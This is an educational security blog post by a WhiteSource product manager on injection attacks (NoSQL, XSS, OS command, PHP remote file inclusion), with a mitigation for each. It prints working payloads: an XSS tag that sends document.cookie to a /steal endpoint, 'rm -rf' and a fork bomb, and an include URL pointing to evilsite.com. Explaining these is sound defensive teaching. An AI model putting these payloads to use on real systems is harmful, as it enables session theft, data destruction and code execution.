What Are Injection Attacks and How to Protect Against Them

How to Protect Against Injection Attacks

 

Injection attacks exploit a variety of vulnerabilities and they are among the most common and dangerous attacks in web applications. Some might go as far as calling them the most exploited software flaw by hackers.

 

This type of attack occurs when a hacker bypasses the security levels of a web application and sends malicious input data, which will force the program to run certain commands. 

 

This is done to steal data that should otherwise be inaccessible.

code injection

In recent years, this security risk has been top of the list in the OWASP 10 project. Here’s a rundown of the most widespread types of injections. 

 

Database Injection (SQL, NoSQL)

Nowadays, almost all web applications have some sort of tool that allows them to store information in a persistent way. The most common way of doing this is by using a relational database, which uses tables and rows, or a non-relational database, which uses collections and documents. You can see more about them in this video.

 

This type of injections happen when a malicious hacker sends a valid SQL/ NoSQL query as data.

 

If the target application is vulnerable to this type of injection, the application will send this data directly to the database which will make the database execute the command. 

 

Let’s take a look at this code snippet.

 

 

Let’s say we have a login route that receives a user’s email and password, then search the database for a document that matches this data.

 

We can bypass this login system by simply knowing the user’s email address and sending the next JSON payload, which will create a NoSQL injection.

 

 

The data that we are sending to this /login  route will instruct MongoDB to find a user with the email me@email.com and with a password different from an empty string.

 

If it happens to find a user’s email address then, the application can easily be tricked to return that user from the database. With this, the application will think that we sent the correct password as well and therefore we had logged in successfully.

 

A possible solution to mitigate this attack is to check if both email and password fields are indeed simple strings. You can also sanitize the input data.

 

Cross-Site Scripting (XSS)

XSS flaws occur whenever an application includes untrusted data inside a new web page without proper validation, according to the OWASP. In simpler terms, these types of attacks are happening when an existing web page is updated with user-supplied data that represents valid HTML or JavaScript code. 

 

The purpose of this attack is to allow attackers to execute scripts in the victim’s browser, which can hijack user information or control the behavior of web applications inside the browser.

 

Like the following scenario, for example.

 

 

The page on the right is a simple web app that is using SSR, so it’s just simple HTML, CSS, and JavaScript with no framework.

 

To demonstrate this type of attack, the application has a text input box and a list that displays the data inserted by the users. Just like a comment section, or a To-Do list. The user writes something in that input box, the data is sent to the server where it’s stored persistently and all users can see it.

 

To hack this page, someone can supply a valid JavaScript code in that input box. The code that I inserted in this .gif is the following:

 

<img src=”http://url.to.file.which/not.exist” onerror=”fetch(`/steal?cookies=${document.cookie}`);alert(‘You have been hacked’)”>

 

This will steal the cookies from all the users that will access this page from now on. 

 

How will it do this? Simple. The string presented above will create an img tag in the DOM and will try to request a non-existing image. This will trigger the onerror function. This function will grab user cookies and it will send them to a given address, like the hacker’s server for example (see the screen on the left).

 

To fix this vulnerability, the front-end needs to sanitize all the outgoing data and the back-end needs to sanitize all the incoming data.

 

OS Command Injection

Another common injection attack is with OS command injections.

 

It’s not that common, but there are web applications that need to execute operating system commands (OS commands) to achieve the required functionality. This can be done to run system commands, launch applications written in another programming language, or run shell scripts. 

 

Regardless whether this action is mandatory or just useful, this functionality can be dangerous when used incorrectly, and can lead to severe web security problems.

 

Simple commands like rm -rf or :(){:|:&};:  can delete the files from your server or can trigger a fork bomb that will make the server unresponsive.

 

To mitigate this problem, the application that needs to run these commands must not be run with sudo privileges or it should be run in a separate container which will limit the damage that it can do.

 

Code Injection (Remote Code Execution)

The code that we write can be summarized as a layer of abstraction on top of something else, that we are not aware of and we don’t need to be aware of. That could be a compiler, a transpiler, or an interpreter. Knowing how the compiler or interpreter works is not our job. We just send a valid code written in a given programming language and the underlying system will do the rest for us.

 

Other than the code that we write, this layer can handle user data as well. Now, what happens if the information that the user sends is actually a valid code, just like the one that developers wrote? How the application responds to this determines whether it is vulnerable to code injection or not.

 

These types of attacks act in the same way as the previous ones, by exploiting poor handling of untrusted data.

 

Let’s look at the following case. This example is also given by OWASP on their page.

 

If an application passes a parameter sent via a GET request to the PHP include() function with no input validation, the attacker may try to execute code other than what the developer had in mind.

 

The URL below passes a page name to the include() function.

http://testsite.com/index.php?page=contact.php

 

The file “evilcode.php” may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service is running. 

 

An attacker can ask the application to execute their PHP code using the following request:

http://testsite.com/?page=http://evilsite.com/evilcode.php

 

Conclusion

These days, security is more important than ever, given that the current situation has led hackers to increasing their efforts and the number of attacks. 

 

FBI recently reported that the number of complaints about cyberattacks has spiked up to as many as 3,000 and 4,000 a day. They also say that prior to the COVID-19 pandemic, only about 1,000 complaints were received daily. That’s a 400% increase. 

 

As developers, we need to act according to these changes and increase our security measures.

What we can do is always keep the libraries and dependencies used up to date and pay attention to the code we write. 

 

A good method of verification is to try to get past the security systems you have made. If you do not succeed, given that you have all the necessary information about how the application works, then you can be reasonably sure that your current security is a good starting point.

Guy Bar-Gil

Guy Bar-Gil / About Author

Guy is a product manager at WhiteSource, where we enable software development teams to integrate open source fearlessly and without compromising agility. Before WhiteSource, Guy worked for the IDF's intelligence division, where he spent time as a combat operator and project manager. Outside of work, you can find Guy reading (everything from fiction to physics), playing and watching sports, traveling the world, and spending time with friends and family. LinkedIn